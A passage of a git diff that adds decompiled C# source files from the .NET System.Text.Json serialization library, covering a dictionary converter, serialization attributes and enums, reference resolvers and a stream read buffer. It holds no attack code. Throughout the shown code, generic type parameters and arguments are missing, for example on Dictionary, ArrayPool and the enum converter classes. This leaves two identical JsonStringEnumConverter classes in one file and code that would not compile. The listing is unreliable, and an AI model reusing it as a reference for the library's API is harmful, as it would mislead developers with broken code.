(!JsonConverter.SingleValueReadWithReadAhead(_valueConverter.RequiresReadAhead, ref reader, ref state)) + { + state.Current.DictionaryKey = val; + value = default(TDictionary); + return false; + } + } + if ((int)state.Current.PropertyState < 5) + { + state.Current.JsonPropertyInfo = elementTypeInfo.PropertyInfoForTypeInfo; + if (!_valueConverter.TryRead(ref reader, typeof(TValue), options, ref state, out var value4, out isPopulatedValue)) + { + state.Current.DictionaryKey = val; + value = default(TDictionary); + return false; + } + Add(val, in value4, options, ref state); + state.Current.EndElement(); + } + } + } + ConvertCollection(ref state, options); + value = (TDictionary)state.Current.ReturnValue; + return true; + static TKey ReadDictionaryKey(JsonConverter keyConverter, ref Utf8JsonReader reference, scoped ref ReadStack reference2, JsonSerializerOptions options2) + { + string text = reference.GetString(); + reference2.Current.JsonPropertyNameAsString = text; + if (keyConverter.IsInternalConverter && keyConverter.Type == typeof(string)) + { + return (TKey)(object)text; + } + return keyConverter.ReadAsPropertyNameCore(ref reference, keyConverter.Type, options2); + } + } + + internal sealed override bool OnTryWrite(Utf8JsonWriter writer, TDictionary dictionary, JsonSerializerOptions options, ref WriteStack state) + { + if (dictionary == null) + { + writer.WriteNullValue(); + return true; + } + if (!state.Current.ProcessedStartToken) + { + state.Current.ProcessedStartToken = true; + writer.WriteStartObject(); + if (state.CurrentContainsMetadata && CanHaveMetadata) + { + JsonSerializer.WriteMetadataForObject(this, ref state, writer); + } + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + } + bool flag = OnWriteResume(writer, dictionary, options, ref state); + if (flag && !state.Current.ProcessedEndToken) + { + state.Current.ProcessedEndToken = true; + writer.WriteEndObject(); + } + return flag; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonExtensionDataAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonExtensionDataAttribute.cs new file mode 100644 index 0000000..5601e09 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonExtensionDataAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)] +public sealed class JsonExtensionDataAttribute : JsonAttribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIgnoreAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIgnoreAttribute.cs new file mode 100644 index 0000000..aee5082 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIgnoreAttribute.cs @@ -0,0 +1,7 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)] +public sealed class JsonIgnoreAttribute : JsonAttribute +{ + public JsonIgnoreCondition Condition { get; set; } = JsonIgnoreCondition.Always; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIgnoreCondition.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIgnoreCondition.cs new file mode 100644 index 0000000..c051040 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIgnoreCondition.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json.Serialization; + +public enum JsonIgnoreCondition +{ + Never, + Always, + WhenWritingDefault, + WhenWritingNull +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIncludeAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIncludeAttribute.cs new file mode 100644 index 0000000..7be58ea --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonIncludeAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)] +public sealed class JsonIncludeAttribute : JsonAttribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonKnownNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonKnownNamingPolicy.cs new file mode 100644 index 0000000..d32d53f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonKnownNamingPolicy.cs @@ -0,0 +1,11 @@ +namespace System.Text.Json.Serialization; + +public enum JsonKnownNamingPolicy +{ + Unspecified, + CamelCase, + SnakeCaseLower, + SnakeCaseUpper, + KebabCaseLower, + KebabCaseUpper +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberEnumConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberEnumConverter.cs new file mode 100644 index 0000000..926f54a --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberEnumConverter.cs @@ -0,0 +1,20 @@ +using System.Text.Json.Serialization.Converters; + +namespace System.Text.Json.Serialization; + +public sealed class JsonNumberEnumConverter : JsonConverterFactory where TEnum : struct, Enum +{ + public override bool CanConvert(Type typeToConvert) + { + return typeToConvert == typeof(TEnum); + } + + public override JsonConverter? CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + if (typeToConvert != typeof(TEnum)) + { + ThrowHelper.ThrowArgumentOutOfRangeException_JsonConverterFactory_TypeNotSupported(typeToConvert); + } + return new EnumConverter(EnumConverterOptions.AllowNumbers, options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberHandling.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberHandling.cs new file mode 100644 index 0000000..8dce544 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberHandling.cs @@ -0,0 +1,10 @@ +namespace System.Text.Json.Serialization; + +[Flags] +public enum JsonNumberHandling +{ + Strict = 0, + AllowReadingFromString = 1, + WriteAsString = 2, + AllowNamedFloatingPointLiterals = 4 +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberHandlingAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberHandlingAttribute.cs new file mode 100644 index 0000000..1afc77c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonNumberHandlingAttribute.cs @@ -0,0 +1,16 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)] +public sealed class JsonNumberHandlingAttribute : JsonAttribute +{ + public JsonNumberHandling Handling { get; } + + public JsonNumberHandlingAttribute(JsonNumberHandling handling) + { + if (!JsonSerializer.IsValidNumberHandlingValue(handling)) + { + throw new ArgumentOutOfRangeException("handling"); + } + Handling = handling; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectConverter.cs new file mode 100644 index 0000000..12f185b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectConverter.cs @@ -0,0 +1,13 @@ +namespace System.Text.Json.Serialization; + +internal abstract class JsonObjectConverter : JsonResumableConverter +{ + internal override bool CanPopulate => true; + + internal sealed override Type ElementType => null; + + private protected sealed override ConverterStrategy GetDefaultConverterStrategy() + { + return ConverterStrategy.Object; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectCreationHandling.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectCreationHandling.cs new file mode 100644 index 0000000..6293ce5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectCreationHandling.cs @@ -0,0 +1,7 @@ +namespace System.Text.Json.Serialization; + +public enum JsonObjectCreationHandling +{ + Replace, + Populate +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectCreationHandlingAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectCreationHandlingAttribute.cs new file mode 100644 index 0000000..73d273f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonObjectCreationHandlingAttribute.cs @@ -0,0 +1,16 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Interface, AllowMultiple = false)] +public sealed class JsonObjectCreationHandlingAttribute : JsonAttribute +{ + public JsonObjectCreationHandling Handling { get; } + + public JsonObjectCreationHandlingAttribute(JsonObjectCreationHandling handling) + { + if (!JsonSerializer.IsValidCreationHandlingValue(handling)) + { + throw new ArgumentOutOfRangeException("handling"); + } + Handling = handling; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPolymorphicAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPolymorphicAttribute.cs new file mode 100644 index 0000000..5cf7432 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPolymorphicAttribute.cs @@ -0,0 +1,11 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface, AllowMultiple = false, Inherited = false)] +public sealed class JsonPolymorphicAttribute : JsonAttribute +{ + public string? TypeDiscriminatorPropertyName { get; set; } + + public JsonUnknownDerivedTypeHandling UnknownDerivedTypeHandling { get; set; } + + public bool IgnoreUnrecognizedTypeDiscriminators { get; set; } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPropertyNameAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPropertyNameAttribute.cs new file mode 100644 index 0000000..6758ac0 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPropertyNameAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)] +public sealed class JsonPropertyNameAttribute : JsonAttribute +{ + public string Name { get; } + + public JsonPropertyNameAttribute(string name) + { + Name = name; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPropertyOrderAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPropertyOrderAttribute.cs new file mode 100644 index 0000000..9f5e440 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonPropertyOrderAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)] +public sealed class JsonPropertyOrderAttribute : JsonAttribute +{ + public int Order { get; } + + public JsonPropertyOrderAttribute(int order) + { + Order = order; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonRequiredAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonRequiredAttribute.cs new file mode 100644 index 0000000..f995d5e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonRequiredAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)] +public sealed class JsonRequiredAttribute : JsonAttribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonResumableConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonResumableConverter.cs new file mode 100644 index 0000000..3b49da4 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonResumableConverter.cs @@ -0,0 +1,41 @@ +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization; + +internal abstract class JsonResumableConverter : JsonConverter +{ + public override bool HandleNull => false; + + public sealed override T Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + ReadStack state = default(ReadStack); + JsonTypeInfo typeInfoInternal = options.GetTypeInfoInternal(typeToConvert, ensureConfigured: true, true); + state.Initialize(typeInfoInternal); + TryRead(ref reader, typeToConvert, options, ref state, out var value, out var _); + return value; + } + + public sealed override void Write(Utf8JsonWriter writer, T value, JsonSerializerOptions options) + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + WriteStack state = default(WriteStack); + JsonTypeInfo typeInfoInternal = options.GetTypeInfoInternal(typeof(T), ensureConfigured: true, true); + state.Initialize(typeInfoInternal); + try + { + TryWrite(writer, in value, options, ref state); + } + catch + { + state.DisposePendingDisposablesOnException(); + throw; + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSerializableAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSerializableAttribute.cs new file mode 100644 index 0000000..e366cce --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSerializableAttribute.cs @@ -0,0 +1,13 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class, AllowMultiple = true)] +public sealed class JsonSerializableAttribute : JsonAttribute +{ + public string? TypeInfoPropertyName { get; set; } + + public JsonSourceGenerationMode GenerationMode { get; set; } + + public JsonSerializableAttribute(Type type) + { + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSerializerContext.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSerializerContext.cs new file mode 100644 index 0000000..7007444 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSerializerContext.cs @@ -0,0 +1,65 @@ +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization; + +public abstract class JsonSerializerContext : IJsonTypeInfoResolver, IBuiltInJsonTypeInfoResolver +{ + private JsonSerializerOptions _options; + + public JsonSerializerOptions Options + { + get + { + JsonSerializerOptions jsonSerializerOptions = _options; + if (jsonSerializerOptions == null) + { + jsonSerializerOptions = new JsonSerializerOptions + { + TypeInfoResolver = this + }; + jsonSerializerOptions.MakeReadOnly(); + _options = jsonSerializerOptions; + } + return jsonSerializerOptions; + } + } + + protected abstract JsonSerializerOptions? GeneratedSerializerOptions { get; } + + internal void AssociateWithOptions(JsonSerializerOptions options) + { + options.TypeInfoResolver = this; + options.MakeReadOnly(); + _options = options; + } + + bool IBuiltInJsonTypeInfoResolver.IsCompatibleWithOptions(JsonSerializerOptions options) + { + JsonSerializerOptions generatedSerializerOptions = GeneratedSerializerOptions; + if (generatedSerializerOptions != null && options.Converters.Count == 0 && options.Encoder == null && !JsonHelpers.RequiresSpecialNumberHandlingOnWrite(options.NumberHandling) && options.ReferenceHandlingStrategy == ReferenceHandlingStrategy.None && !options.IgnoreNullValues && options.DefaultIgnoreCondition == generatedSerializerOptions.DefaultIgnoreCondition && options.IgnoreReadOnlyFields == generatedSerializerOptions.IgnoreReadOnlyFields && options.IgnoreReadOnlyProperties == generatedSerializerOptions.IgnoreReadOnlyProperties && options.IncludeFields == generatedSerializerOptions.IncludeFields && options.PropertyNamingPolicy == generatedSerializerOptions.PropertyNamingPolicy) + { + return options.DictionaryKeyPolicy == null; + } + return false; + } + + protected JsonSerializerContext(JsonSerializerOptions? options) + { + if (options != null) + { + options.VerifyMutable(); + AssociateWithOptions(options); + } + } + + public abstract JsonTypeInfo? GetTypeInfo(Type type); + + JsonTypeInfo IJsonTypeInfoResolver.GetTypeInfo(Type type, JsonSerializerOptions options) + { + if (options != null && options != _options) + { + ThrowHelper.ThrowInvalidOperationException_ResolverTypeInfoOptionsNotCompatible(); + } + return GetTypeInfo(type); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSourceGenerationMode.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSourceGenerationMode.cs new file mode 100644 index 0000000..56a13a3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSourceGenerationMode.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json.Serialization; + +[Flags] +public enum JsonSourceGenerationMode +{ + Default = 0, + Metadata = 1, + Serialization = 2 +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSourceGenerationOptionsAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSourceGenerationOptionsAttribute.cs new file mode 100644 index 0000000..ba049fd --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonSourceGenerationOptionsAttribute.cs @@ -0,0 +1,63 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class, AllowMultiple = false)] +public sealed class JsonSourceGenerationOptionsAttribute : JsonAttribute +{ + public bool AllowTrailingCommas { get; set; } + + public Type[]? Converters { get; set; } + + public int DefaultBufferSize { get; set; } + + public JsonIgnoreCondition DefaultIgnoreCondition { get; set; } + + public JsonKnownNamingPolicy DictionaryKeyPolicy { get; set; } + + public bool IgnoreReadOnlyFields { get; set; } + + public bool IgnoreReadOnlyProperties { get; set; } + + public bool IncludeFields { get; set; } + + public int MaxDepth { get; set; } + + public JsonNumberHandling NumberHandling { get; set; } + + public JsonObjectCreationHandling PreferredObjectCreationHandling { get; set; } + + public bool PropertyNameCaseInsensitive { get; set; } + + public JsonKnownNamingPolicy PropertyNamingPolicy { get; set; } + + public JsonCommentHandling ReadCommentHandling { get; set; } + + public JsonUnknownTypeHandling UnknownTypeHandling { get; set; } + + public JsonUnmappedMemberHandling UnmappedMemberHandling { get; set; } + + public bool WriteIndented { get; set; } + + public JsonSourceGenerationMode GenerationMode { get; set; } + + public bool UseStringEnumConverter { get; set; } + + public JsonSourceGenerationOptionsAttribute() + { + } + + public JsonSourceGenerationOptionsAttribute(JsonSerializerDefaults defaults) + { + switch (defaults) + { + case JsonSerializerDefaults.Web: + PropertyNameCaseInsensitive = true; + PropertyNamingPolicy = JsonKnownNamingPolicy.CamelCase; + NumberHandling = JsonNumberHandling.AllowReadingFromString; + break; + default: + throw new ArgumentOutOfRangeException("defaults"); + case JsonSerializerDefaults.General: + break; + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonStringEnumConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonStringEnumConverter.cs new file mode 100644 index 0000000..123d124 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonStringEnumConverter.cs @@ -0,0 +1,68 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Converters; + +namespace System.Text.Json.Serialization; + +public class JsonStringEnumConverter : JsonConverterFactory where TEnum : struct, Enum +{ + private readonly JsonNamingPolicy _namingPolicy; + + private readonly EnumConverterOptions _converterOptions; + + public JsonStringEnumConverter() + : this((JsonNamingPolicy?)null, true) + { + } + + public JsonStringEnumConverter(JsonNamingPolicy? namingPolicy = null, bool allowIntegerValues = true) + { + _namingPolicy = namingPolicy; + _converterOptions = ((!allowIntegerValues) ? EnumConverterOptions.AllowStrings : (EnumConverterOptions.AllowStrings | EnumConverterOptions.AllowNumbers)); + } + + public sealed override bool CanConvert(Type typeToConvert) + { + return typeToConvert == typeof(TEnum); + } + + public sealed override JsonConverter? CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + if (typeToConvert != typeof(TEnum)) + { + ThrowHelper.ThrowArgumentOutOfRangeException_JsonConverterFactory_TypeNotSupported(typeToConvert); + } + return new EnumConverter(_converterOptions, _namingPolicy, options); + } +} +[RequiresDynamicCode("JsonStringEnumConverter cannot be statically analyzed and requires runtime code generation. Applications should use the generic JsonStringEnumConverter instead.")] +public class JsonStringEnumConverter : JsonConverterFactory +{ + private readonly JsonNamingPolicy _namingPolicy; + + private readonly EnumConverterOptions _converterOptions; + + public JsonStringEnumConverter() + : this(null, true) + { + } + + public JsonStringEnumConverter(JsonNamingPolicy? namingPolicy = null, bool allowIntegerValues = true) + { + _namingPolicy = namingPolicy; + _converterOptions = ((!allowIntegerValues) ? EnumConverterOptions.AllowStrings : (EnumConverterOptions.AllowStrings | EnumConverterOptions.AllowNumbers)); + } + + public sealed override bool CanConvert(Type typeToConvert) + { + return typeToConvert.IsEnum; + } + + public sealed override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + if (!typeToConvert.IsEnum) + { + ThrowHelper.ThrowArgumentOutOfRangeException_JsonConverterFactory_TypeNotSupported(typeToConvert); + } + return EnumConverterFactory.Create(typeToConvert, _converterOptions, _namingPolicy, options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnknownDerivedTypeHandling.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnknownDerivedTypeHandling.cs new file mode 100644 index 0000000..2823355 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnknownDerivedTypeHandling.cs @@ -0,0 +1,8 @@ +namespace System.Text.Json.Serialization; + +public enum JsonUnknownDerivedTypeHandling +{ + FailSerialization, + FallBackToBaseType, + FallBackToNearestAncestor +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnknownTypeHandling.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnknownTypeHandling.cs new file mode 100644 index 0000000..6905fd5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnknownTypeHandling.cs @@ -0,0 +1,7 @@ +namespace System.Text.Json.Serialization; + +public enum JsonUnknownTypeHandling +{ + JsonElement, + JsonNode +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnmappedMemberHandling.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnmappedMemberHandling.cs new file mode 100644 index 0000000..b5da4ac --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnmappedMemberHandling.cs @@ -0,0 +1,7 @@ +namespace System.Text.Json.Serialization; + +public enum JsonUnmappedMemberHandling +{ + Skip, + Disallow +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnmappedMemberHandlingAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnmappedMemberHandlingAttribute.cs new file mode 100644 index 0000000..cebe147 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonUnmappedMemberHandlingAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Interface, AllowMultiple = false, Inherited = false)] +public class JsonUnmappedMemberHandlingAttribute : JsonAttribute +{ + public JsonUnmappedMemberHandling UnmappedMemberHandling { get; } + + public JsonUnmappedMemberHandlingAttribute(JsonUnmappedMemberHandling unmappedMemberHandling) + { + UnmappedMemberHandling = unmappedMemberHandling; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/PreserveReferenceHandler.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/PreserveReferenceHandler.cs new file mode 100644 index 0000000..e988c20 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/PreserveReferenceHandler.cs @@ -0,0 +1,14 @@ +namespace System.Text.Json.Serialization; + +internal sealed class PreserveReferenceHandler : ReferenceHandler +{ + public override ReferenceResolver CreateResolver() + { + throw new InvalidOperationException(); + } + + internal override ReferenceResolver CreateResolver(bool writing) + { + return new PreserveReferenceResolver(writing); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/PreserveReferenceResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/PreserveReferenceResolver.cs new file mode 100644 index 0000000..d5d23ab --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/PreserveReferenceResolver.cs @@ -0,0 +1,57 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization; + +internal sealed class PreserveReferenceResolver : ReferenceResolver +{ + private uint _referenceCount; + + private readonly Dictionary _referenceIdToObjectMap; + + private readonly Dictionary _objectToReferenceIdMap; + + public PreserveReferenceResolver(bool writing) + { + if (writing) + { + _objectToReferenceIdMap = new Dictionary(ReferenceEqualityComparer.Instance); + } + else + { + _referenceIdToObjectMap = new Dictionary(); + } + } + + public override void AddReference(string referenceId, object value) + { + if (!JsonHelpers.TryAdd(_referenceIdToObjectMap, referenceId, value)) + { + ThrowHelper.ThrowJsonException_MetadataDuplicateIdFound(referenceId); + } + } + + public override string GetReference(object value, out bool alreadyExists) + { + if (_objectToReferenceIdMap.TryGetValue(value, out var value2)) + { + alreadyExists = true; + } + else + { + _referenceCount++; + value2 = _referenceCount.ToString(); + _objectToReferenceIdMap.Add(value, value2); + alreadyExists = false; + } + return value2; + } + + public override object ResolveReference(string referenceId) + { + if (!_referenceIdToObjectMap.TryGetValue(referenceId, out var value)) + { + ThrowHelper.ThrowJsonException_MetadataReferenceNotFound(referenceId); + } + return value; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReadBufferState.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReadBufferState.cs new file mode 100644 index 0000000..e145012 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReadBufferState.cs @@ -0,0 +1,116 @@ +using System.Buffers; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json.Serialization; + +[StructLayout(LayoutKind.Auto)] +internal struct ReadBufferState(int initialBufferSize) : IDisposable +{ + private byte[] _buffer = ArrayPool.Shared.Rent(Math.Max(initialBufferSize, JsonConstants.Utf8Bom.Length)); + + private byte _offset; + + private int _count; + + private int _maxCount = (_count = (_offset = 0)); + + private bool _isFirstBlock = true; + + private bool _isFinalBlock = false; + + private const int UnsuccessfulReadCountThreshold = 5; + + private int _unsuccessfulReadCount = 0; + + public bool IsFinalBlock => _isFinalBlock; + + public ReadOnlySpan Bytes => _buffer.AsSpan(_offset, _count); + + public readonly async ValueTask ReadFromStreamAsync(Stream utf8Json, CancellationToken cancellationToken, bool fillBuffer = true) + { + ReadBufferState bufferState = this; + int minBufferCount = ((fillBuffer || _unsuccessfulReadCount > 5) ? bufferState._buffer.Length : 0); + do + { + int num = await utf8Json.ReadAsync(bufferState._buffer, bufferState._count, bufferState._buffer.Length - bufferState._count, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + if (num == 0) + { + bufferState._isFinalBlock = true; + break; + } + bufferState._count += num; + } + while (bufferState._count < minBufferCount); + bufferState.ProcessReadBytes(); + return bufferState; + } + + public void ReadFromStream(Stream utf8Json) + { + do + { + int num = utf8Json.Read(_buffer, _count, _buffer.Length - _count); + if (num == 0) + { + _isFinalBlock = true; + break; + } + _count += num; + } + while (_count < _buffer.Length); + ProcessReadBytes(); + } + + public void AdvanceBuffer(int bytesConsumed) + { + _unsuccessfulReadCount = ((bytesConsumed == 0) ? (_unsuccessfulReadCount + 1) : 0); + _count -= bytesConsumed; + if (!_isFinalBlock) + { + if ((uint)_count > (uint)_buffer.Length / 2u) + { + byte[] buffer = _buffer; + int maxCount = _maxCount; + byte[] array = ArrayPool.Shared.Rent((_buffer.Length < 1073741823) ? (_buffer.Length * 2) : int.MaxValue); + Buffer.BlockCopy(buffer, _offset + bytesConsumed, array, 0, _count); + _buffer = array; + _maxCount = _count; + new Span(buffer, 0, maxCount).Clear(); + ArrayPool.Shared.Return(buffer); + } + else if (_count != 0) + { + Buffer.BlockCopy(_buffer, _offset + bytesConsumed, _buffer, 0, _count); + } + } + _offset = 0; + } + + private void ProcessReadBytes() + { + if (_count > _maxCount) + { + _maxCount = _count; + } + if (_isFirstBlock) + { + _isFirstBlock = false; + if (_buffer.AsSpan(0, _count).StartsWith(JsonConstants.Utf8Bom)) + { + _offset = (byte)JsonConstants.Utf8Bom.Length; + _count -= JsonConstants.Utf8Bom.Length; + } + } + } + + public void Dispose() + { + new Span(_buffer, 0, _maxCount).Clear(); + byte[] buffer = _buffer; + _buffer = null; + ArrayPool.Shared.Return(buffer); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceEqualsWrapper.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceEqualsWrapper.cs new file mode 100644 index 0000000..02a3f94 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceEqualsWrapper.cs @@ -0,0 +1,28 @@ +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; + +namespace System.Text.Json.Serialization; + +internal readonly struct ReferenceEqualsWrapper(object obj) : IEquatable +{ + private readonly object _object = obj; + + public override bool Equals([NotNullWhen(true)] object obj) + { + if (obj is ReferenceEqualsWrapper obj2) + { + return Equals(obj2); + } + return false; + } + + public bool Equals(ReferenceEqualsWrapper obj) + { + return _object == obj._object; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(_object); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceHandler.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceHandler.cs new file mode 100644 index 0000000..eddba5c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceHandler.cs @@ -0,0 +1,24 @@ +namespace System.Text.Json.Serialization; + +public abstract class ReferenceHandler +{ + internal ReferenceHandlingStrategy HandlingStrategy = ReferenceHandlingStrategy.Preserve; + + public static ReferenceHandler Preserve { get; } = new 